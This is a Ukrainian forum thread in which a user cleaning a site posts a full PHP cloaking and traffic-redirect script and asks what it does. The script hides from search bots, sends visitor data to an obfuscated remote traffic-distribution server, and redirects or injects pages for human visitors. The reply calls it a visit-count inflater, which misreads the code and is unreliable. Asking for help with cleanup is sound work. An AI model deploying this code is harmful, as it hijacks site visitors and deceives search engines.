Розшифрувати код

yura_co

yura_co

master
#1
#1
Привіт всім!
Продовжуються роботи з відновлення та чиски, дещо зрозуміло а дещо ні, прошу допомогти зрозуміти шо робить цей код
Код: 
<?php
#date=2021.09.15
#$ver=pir_4.1

$dns_lookup = '';
$geofile = '';

function de($string, $key) {
    $result = '';
    $string = base64_decode($string);
    for($i = 0; $i < strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $keychar = substr($key, ($i % strlen($key))-1, 1);
        $char = chr(ord($char) - ord($keychar));
        $result .= $char;
    }
    return $result;
}

function rand_ip($country){
    $geoip = ["AD"=>[783081472,783089663], "AE"=>[1590165504,1590689791], "AF"=>[2150203392,2150236159], "AG"=>[962265088,962269183], "AI"=>[3423533056,3423535103], "AL"=>[1332346880,1332390655], "AM"=>[776339456,776470527], "AO"=>[1772617728,1773142015], "AR"=>[3128655872,3129999359], "AS"=>[3393613824,3393617919], "AT"=>[1416626176,1416891391], "AU"=>[24641536,27262975], "AW"=>[3387228160,3387260927], "AX"=>[1334116352,1334124543], "AZ"=>[96403456,96468991], "BA"=>[531660800,531693567], "BB"=>[1211324928,1211333119], "BD"=>[1921122304,1921187839], "BE"=>[1837105152,1838153727], "BF"=>[1722941440,1723138047], "BG"=>[1596588032,1596719103], "BH"=>[52166656,52297727], "BI"=>[2591408128,2591424511], "BJ"=>[2315190272,2315255807], "BL"=>[3117697024,3117698047], "BM"=>[3289137152,3289153535], "BN"=>[2619277312,2619342847], "BO"=>[3006922752,3007053823], "BQ"=>[2701152256,2701156351], "BR"=>[3214934016,3219652607], "BS"=>[406011904,406028287], "BT"=>[1996644352,1996652543], "BV"=>[3116465152,3116466175], "BW"=>[2829516800,2829582335], "BY"=>[2994208768,2994733055], "BZ"=>[3200581632,3200614399], "CA"=>[2392514560,2394816511], "CD"=>[703791104,703856639], "CF"=>[3321016320,3321018367], "CG"=>[2691760128,2691825663], "CH"=>[963641344,964689919], "CI"=>[1720188928,1720451071], "CK"=>[3393265664,3393273855], "CL"=>[3211788288,3212312575], "CM"=>[1727266816,1727528959], "CN"=>[610271232,618659839], "CO"=>[3045064704,3047161855], "CR"=>[3384737792,3385851903], "CU"=>[2563637248,2563768319], "CV"=>[2774163456,2774171647], "CW"=>[3193438208,3193503743], "CY"=>[630521856,630587391], "CZ"=>[1521491968,1522008063], "DE"=>[895979520,905969663], "DJ"=>[3320905728,3320938495], "DK"=>[1462763520,1463812095], "DM"=>[962277376,962285567], "DO"=>[2561015808,2561146879], "DZ"=>[1767899136,1768947711], "EC"=>[3125018624,3125280767], "EE"=>[1522401280,1522532351], "EG"=>[2627731456,2631925759], "ER"=>[3301466112,3301470207], "ES"=>[1394606080,1396703231], "ET"=>[3300655104,3300917247], "FI"=>[1536688128,1537212415], "FJ"=>[2423800064,2423848959], "FK"=>[1347014656,1347017471], "FM"=>[960937984,960942079], "FO"=>[1481973760,1481981951], "FR"=>[1321205760,1325400063], "GA"=>[698220544,698351615], "GB"=>[419430400,436207615], "GD"=>[962285568,962289663], "GE"=>[529661952,529727487], "GF"=>[1383825408,1383858175], "GG"=>[1481736192,1481744383], "GH"=>[2594177024,2595225599], "GI"=>[1433632768,1433640959], "GL"=>[1481834496,1481842687], "GM"=>[2696282112,2696413183], "GN"=>[3314925568,3314941951], "GP"=>[1510932480,1510998015], "GQ"=>[1777065984,1777070079], "GR"=>[1581252608,1581776895], "GS"=>[3522354176,3522354431], "GT"=>[3197392384,3197470207], "GU"=>[2826633216,2826698751], "GW"=>[3319156736,3319160831], "GY"=>[3192913920,3192946687], "HK"=>[803930112,804323327], "HN"=>[3050438656,3050504191], "HR"=>[1569193984,1569619199], "HT"=>[2489745408,2489778175], "HU"=>[1501822976,1502085119], "ID"=>[666894336,671088639], "IE"=>[1461714944,1462763519], "IL"=>[2218786816,2219769855], "IM"=>[1406795776,1406803967], "IN"=>[1975517184,1979711487], "IO"=>[3411226624,3411228671], "IQ"=>[636223488,636485631], "IR"=>[45088768,46137343], "IS"=>[2194669568,2194735103], "IT"=>[2533556224,2538602495], "JE"=>[1475624960,1475641343], "JM"=>[1209729024,1209786367], "JO"=>[2954657792,2954756095], "JP"=>[2113929216,2130706431], "KE"=>[1764753408,1765801983], "KG"=>[2662694912,2662727679], "KH"=>[606437376,606470143], "KI"=>[1729727488,1729728511], "KM"=>[961724416,961728511], "KN"=>[3332882432,3332890623], "KP"=>[2939006976,2939007999], "KR"=>[236978176,241172479], "KW"=>[623116288,623378431], "KY"=>[1080049664,1080066047], "KZ"=>[38273024,38797311], "LA"=>[1934901248,1934917631], "LB"=>[2995191808,2995257343], "LC"=>[1162871296,1162879999], "LI"=>[1383399424,1383407615], "LK"=>[1887830016,1887961087], "LR"=>[1773142016,1773207551], "LS"=>[2179465216,2179497983], "LT"=>[1312292864,1312817151], "LU"=>[2661679104,2661941247], "LV"=>[778895360,778960895], "LY"=>[704380928,704643071], "MA"=>[1769996288,1772093439], "MC"=>[1490108416,1490124799], "MD"=>[1551007744,1551106047], "ME"=>[533512192,533528575], "MF"=>[3254276096,3254284287], "MG"=>[1712324608,1712717823], "MH"=>[1969707008,1969709055], "MK"=>[1293680640,1293811711], "ML"=>[2591457280,2591473663], "MM"=>[628031488,628064255], "MN"=>[822116352,822132735], "MO"=>[1022754816,1022820351], "MP"=>[3394781184,3394789375], "MQ"=>[1552941056,1553006591], "MR"=>[700203008,700219391], "MS"=>[3495587840,3495588863], "MT"=>[772472832,772538367], "MU"=>[1723858944,1725608959], "MV"=>[460488704,460505087], "MW"=>[1715863552,1715994623], "MX"=>[3179282432,3184116735], "MY"=>[2944925696,2945581055], "MZ"=>[3319398400,3319529471], "NA"=>[699793408,699858943], "NC"=>[1701117952,1701134335], "NE"=>[3319136256,3319152639], "NF"=>[3406950400,3406951423], "NG"=>[1768947712,1769996287], "NI"=>[3125542912,3125673983], "NL"=>[2438135808,2446983167], "NO"=>[2338914304,2339962879], "NP"=>[620494848,620625919], "NR"=>[3412254720,3412262911], "NU"=>[832319488,832320511], "NZ"=>[2050490368,2051014655], "OM"=>[86245376,86376447], "PA"=>[3125280768,3125542911], "PE"=>[3202875392,3203399679], "PF"=>[2066890752,2066907135], "PG"=>[2096152576,2096160767], "PH"=>[1892155392,1892941823], "PK"=>[656408576,658505727], "PL"=>[1392508928,1394606079], "PM"=>[1176764416,1176768511], "PR"=>[387055616,387121151], "PS"=>[3164667904,3164733439], "PT"=>[1441792000,1442316287], "PW"=>[960950272,960954367], "PY"=>[3044540416,3045064703], "QA"=>[634519552,634650623], "RE"=>[1552023552,1552089087], "RO"=>[1548746752,1549271039], "RS"=>[3000762368,3001024511], "RU"=>[1595408384,1595998207], "RW"=>[700055552,700121087], "SA"=>[3157262336,3157786623], "SB"=>[3389104128,3389112319], "SC"=>[2302607360,2302625535], "SD"=>[1719140352,1719664639], "SE"=>[1312817152,1313865727], "SG"=>[727711744,729808895], "SI"=>[3166961664,3167223807], "SJ"=>[1482392320,1482392575], "SK"=>[1315045376,1315176447], "SL"=>[1720647680,1720680447], "SM"=>[1505370112,1505378303], "SN"=>[693239808,693370879], "SO"=>[2591277056,2591293439], "SR"=>[3132325888,3132358655], "SS"=>[1777061888,1777063935], "ST"=>[3315572736,3315580927], "SV"=>[3193307136,3193438207], "SX"=>[3194355712,3194363903], "SY"=>[83886080,83951615], "SZ"=>[693428224,693436415], "TC"=>[1107243008,1107247103], "TD"=>[2588180480,2588188671], "TG"=>[3299344384,3299606527], "TH"=>[2875195392,2875719679], "TJ"=>[1426685952,1426702335], "TK"=>[459282432,459284479], "TL"=>[3032326144,3032330239], "TM"=>[1599430656,1599438847], "TN"=>[3305111552,3307208703], "TO"=>[960966656,960970751], "TR"=>[1319108608,1321205759], "TT"=>[3123445760,3123576831], "TV"=>[3389153280,3389161471], "TW"=>[2019557376,2021654527], "TZ"=>[2627469312,2627731455], "UA"=>[1564999680,1565368319], "UG"=>[1716518912,1717043199], "UM"=>[412818432,412818687], "US"=>[469762048,520093695], "UY"=>[2805465088,2805989375], "UZ"=>[1389838336,1389854719], "VA"=>[3561816064,3561823999], "VC"=>[962306048,962310143], "VE"=>[3200647168,3201302527], "VG"=>[1112653824,1112657919], "VI"=>[2464284672,2464350207], "VN"=>[245366784,247463935], "VU"=>[960974848,960978943], "WF"=>[1964253184,1964255231], "WS"=>[3389267968,3389276159], "YE"=>[2250440704,2250506239], "YT"=>[1552842752,1552867327], "ZA"=>[3309305856,3312451583], "ZM"=>[1720713216,1721237503], "ZW"=>[691806208,691830783]];
    if($country == 'XX' || $country == 'T1'){
        global $geofile;
        $country = $geofile;
    }
    if (array_key_exists($country, $geoip)) {
        $ip = long2ip(rand($geoip[$country][0],$geoip[$country][1]));
    }
    else {
        $ip = '0.0.0.1';
    }
    return $ip;
}

function getip(){
    $ip = null;
    $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
    foreach ($headers as $header) {
        if (!empty($_SERVER[$header])) {
            $ip = $_SERVER[$header];
            break;
        }
    }
    if (strstr($ip, ',')) {
        $tmp = explode(',', $ip);
        if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) {
            $ip = trim($tmp[count($tmp) - 2]);
        } else {
            $ip = trim($tmp[0]);
        }
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
       $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
       $ip = trim($tmp[0]);
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    $v6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
    if ($v6)
        $ip = rand_ip($_SERVER["HTTP_CF_IPCOUNTRY"]);
    return $ip;
}

function is_bot($ua, $se_referrer, $lang, $ip, $referrer, $debug = False)
{
    if ($se_referrer === ''){
        if ($debug)
            echo "<pre>function is_bot log: se_referrer = empty\n</pre>";
        return True;
    }
    if ($lang === ''){
        if ($debug)
            echo "<pre>function is_bot log: lang = empty\n</pre>";
        return True;
    }
    if ($referrer === ''){
        if ($debug)
            echo "<pre>function is_bot log: referrer = empty\n</pre>";
        return True;
    }
    if ($ua === ''){
        if ($debug)
            echo "<pre>function is_bot log: ua = empty\n</pre>";
        return True;
    }

    $filt_ua = ['Adsbot','AhrefsBot','AlwaysOnline','archive.org','Barkrowler','bingbot','BLEXBot','Clarabot','DotBot','Googlebot','HttpClient','ia_archiver','LinkpadBot','ltx71','Mail.RU_Bot','MegaIndex','mj12bot','msnbot','NetcraftSurveyAgent','NetSystemsResearch','netEstate','Nimbostratus','PetalBot','SemrushBot','SEOkicks','SeznamBot','Slurp','SputnikBot','SputnikImageBot','YandexBot','ZoominfoBot','python'];
    foreach ($filt_ua as $cur_ua) {
        if (stripos($ua, $cur_ua) !== False ){
            if ($debug)
                echo "<pre>function is_bot log: ua contains : ".$cur_ua."\n</pre>";
            return True;
        }
    }

    if (stripos($se_referrer, $_SERVER['HTTP_HOST']) !== False){
        if ($debug)
            echo "<pre>function is_bot log: se_referrer contains \$_SERVER['HTTP_HOST']\n</pre>";
        return True;
    }

    if (stripos($se_referrer, 'anonymousfox.co') !== False){
        if ($debug)
            echo "<pre>function is_bot log: se_referrer contains anonymousfox.co\n</pre>";
        return True;
    }

    global $dns_lookup;
    $dns_lookup = gethostbyaddr($ip);
    $filt_dns = ['google', 'mail', 'microsoft', 'rambler', 'yahoo', 'yandex'];
    foreach ($filt_dns as $cur_dns) {
        if (stripos($dns_lookup, $cur_dns) !== False )
            return True;
    }

    return False;
}

function getredir($group, $keyword, $subid, $liver, $filelinks)
{
    $ver='pir_4.1';
    $k = 'gfdKhj45dfskl';
    $debug = False;
    $debug_imitation_people = False;
    $debug_imitation_bot = False;

    if (isset($_GET["mwdebug"])){
        if ($_GET["mwdebug"] === 'test'){
            $debug = True;
        }
        elseif ($_GET["mwdebug"] === 'people') {
            $debug = True;
            $debug_imitation_people = True;
        }
        elseif ($_GET["mwdebug"] === 'bot') {
            $debug = True;
            $debug_imitation_bot = True;
        }
    }

    if($debug){
        echo "<pre>Debug on, version cloak $ver\n</pre>";
    }

    if (isset($_COOKIE['ch1c'])){
        if ($debug){
            echo "<pre>Stop. Your cookie - bot\n</pre>";
        }
        else {
            return;
        }
    }

    $api = '1Nva1IWXmZuW0M/hzOPI1Mt9ls2jopPH49Sa187Uig==';
    $apikey = 'zpuaxn+bnZdunZvXzp6YysavnKOZaJ2Zqp7PnZyUfsk=';

    $ua = '';
    if(isset($_SERVER['HTTP_USER_AGENT']))
        $ua = urlencode($_SERVER['HTTP_USER_AGENT']);
    global $geofile;
    $geofile = strtoupper(substr($filelinks, 0, 2));
    $ip = getip();
    $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '');
    $se_referrer = urlencode(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
    $protocol = stripos($_SERVER['SERVER_PROTOCOL'],'https') === 0 ? 'https://' : 'http://';
    $referrer = urlencode($protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);

    if (is_bot($ua, $se_referrer, $lang, $ip, $referrer, $debug)) {
        if ($debug){
            echo "<pre>Stop. Check func is_bot says - your <b>bot</b>. Don't check TDS. Next emulation.\n\n</pre>";
        }
        else {
            setcookie('ch1c', 'b', time()+356*24*3600);
            return;
        }
    }
    elseif ($debug) {
        echo "<pre>Welcome. Check func is_bot says - your <b>people</b>. Go to TDS\n\n</pre>";
    }

    global $dns_lookup;
    $source = urlencode($_SERVER['HTTP_HOST']);
    $country = urlencode(isset($_SERVER["HTTP_CF_IPCOUNTRY"]) ? $_SERVER["HTTP_CF_IPCOUNTRY"] : '');

    $churl = de($api, $k)."action=get&action=get_link&api_key=" .de($apikey, $k). "&group=".$group."&ua=".$ua."&ip=".$ip."&keyword=".$keyword."&se_referer=".$se_referrer."&lang=".$lang."&subid1=".$country."&subid2=".$subid."&source=".$source."&referer=".$referrer."&dns_lookup=".$dns_lookup."&liver=".$liver."&filelinks=".$filelinks."&charset=utf-8";

    if ($debug){
        if ($debug_imitation_people){
            $se_referrer = urlencode('https://google.people');
            $lang = 'es';
            $referrer = urlencode('http://debugsite.people');
            $source = urlencode('debugsite.people');
            $ua = urlencode('debug user agent people');
            $churl = "action=get&action=get_link&api_key=" .de($apikey, $k). "&group=".$group."&ua=".$ua."&ip=".$ip."&keyword=".$keyword."&se_referer=".$se_referrer."&lang=".$lang."&subid1=".$country."&subid2=".$subid."&source=".$source."&referer=".$referrer."&dns_lookup=".$dns_lookup."&liver=".$liver."&filelinks=".$filelinks."&charset=utf-8";
        }
        if ($debug_imitation_bot){
            $se_referrer = urlencode('https://google.bot');
            $lang = 'es';
            $referrer = urlencode('http://debugsite.bot');
            $source = urlencode('debugsite.bot');
            $ua = urlencode('Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
            $churl = "action=get&action=get_link&api_key=" .de($apikey, $k). "&group=".$group."&ua=".$ua."&ip=".$ip."&keyword=".$keyword."&se_referer=".$se_referrer."&lang=".$lang."&subid1=".$country."&subid2=".$subid."&source=".$source."&referer=".$referrer."&dns_lookup=".$dns_lookup."&liver=".$liver."&filelinks=".$filelinks."&charset=utf-8";
        }
        echo "<pre>\n\tapikey = $apikey\n\tua = $ua\n\tip = $ip\n\tdns_lookup = $dns_lookup\n\tlang = $lang\n\tse_referrer = $se_referrer\n\tprotocol = $protocol\n\treferrer = $referrer\n\tsource = $source\n\tchurl = $churl\n</pre>";
    }


    if (!$result=file_get_contents($churl)) {
        function file_get_contents_curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        $result=file_get_contents_curl($churl);
    }

    if (function_exists('json_decode')) {
        $result = json_decode($result);

        if ($debug){
            echo "<pre>Answer TDS :\n\n";
            if (isset($result->redirect->content)){
                if (stripos($result->redirect->content, 'window.location') !== False)
                    $result->redirect->content = str_replace('window.location', 'DEBUGNAME', $result->redirect->content);
                if (stripos($result->redirect->content, '<meta http-equiv="REFRESH" content="1;') !== False)
                    $result->redirect->content = str_replace('<meta http-equiv="REFRESH" content="1;', '<meta http-equiv="REFRESH" content="60;', $result->redirect->content);
            }
            print_r($result);
            echo "\n\n</pre>";
            return;
        }

        if (isset($result->bot_action)){
            if (!isset($_COOKIE['ch1c'])) setcookie('ch1c', 'b', time()+356*24*3600);
            return;
        }
        elseif (strpos($result->redirect->type, 'custom') === 0){
            echo $result->redirect->content;
            exit;
        }
        elseif ($result->redirect->type == 'http'){
            header($result->redirect->headers[0]);
            exit;
        }
        elseif ($result->redirect->type == 'echo'){
            if (!isset($_COOKIE['ch1c'])) setcookie('ch1c', 'b', time()+356*24*3600);
            return;
        }
    } else {

        if ($debug){
            $result = str_replace('window.location', 'DEBUGNAME', $result);
            $result = str_replace('<meta http-equiv="REFRESH" content="1;', '<meta http-equiv="REFRESH" content="60;', $result);
            echo "<pre>Answer TDS :\n\n";
            echo $result;
            echo "\n\n</pre>";
            return;
        }

        if (strpos($result, 'bot_action') !== False){
            if (!isset($_COOKIE['ch1c'])) setcookie('ch1c', 'b', time()+356*24*3600);
            return;
        }
        elseif (strpos($result, 'custom_') !== False){
            $pos1 = strpos($result, '<!doctype html>');
            $pos2 = strpos($result, '<\/html>');
            $srez = stripcslashes(substr($result, $pos1, $pos2-$pos1+8));
            echo $srez;
            exit;
        }
        elseif (strpos($result, '"type":"http","headers":["Location:') !== False){
            $pos1 = strpos($result, '"headers":["');
            $pos2 = strpos($result, '"],"content"');
            $srez = stripcslashes(substr($result, $pos1+12, $pos2-$pos1-12));
            header($srez);
            exit;
        }
        elseif (strpos($result, '"type":"echo"') !==  False){
            if (!isset($_COOKIE['ch1c'])) setcookie('ch1c', 'b', time()+356*24*3600);
            return;
        }
    }
    return;
}
?>
 
Baco

Baco

architect
#2
#2
доброго дня!
наскільки я прочитав, то це своєрідний "павук", котрий емулює через низку прогенерованих ІР адрес поведінку людини, робить запит до пушокової видачі по вхідним параметрам та підмінює редірект, простіше кажучи "накрутчик" переглядів\відвідувань по певним ключам\запитам.
 
Ви повинні увійти або зареєструватися, щоб відповісти.
Зверху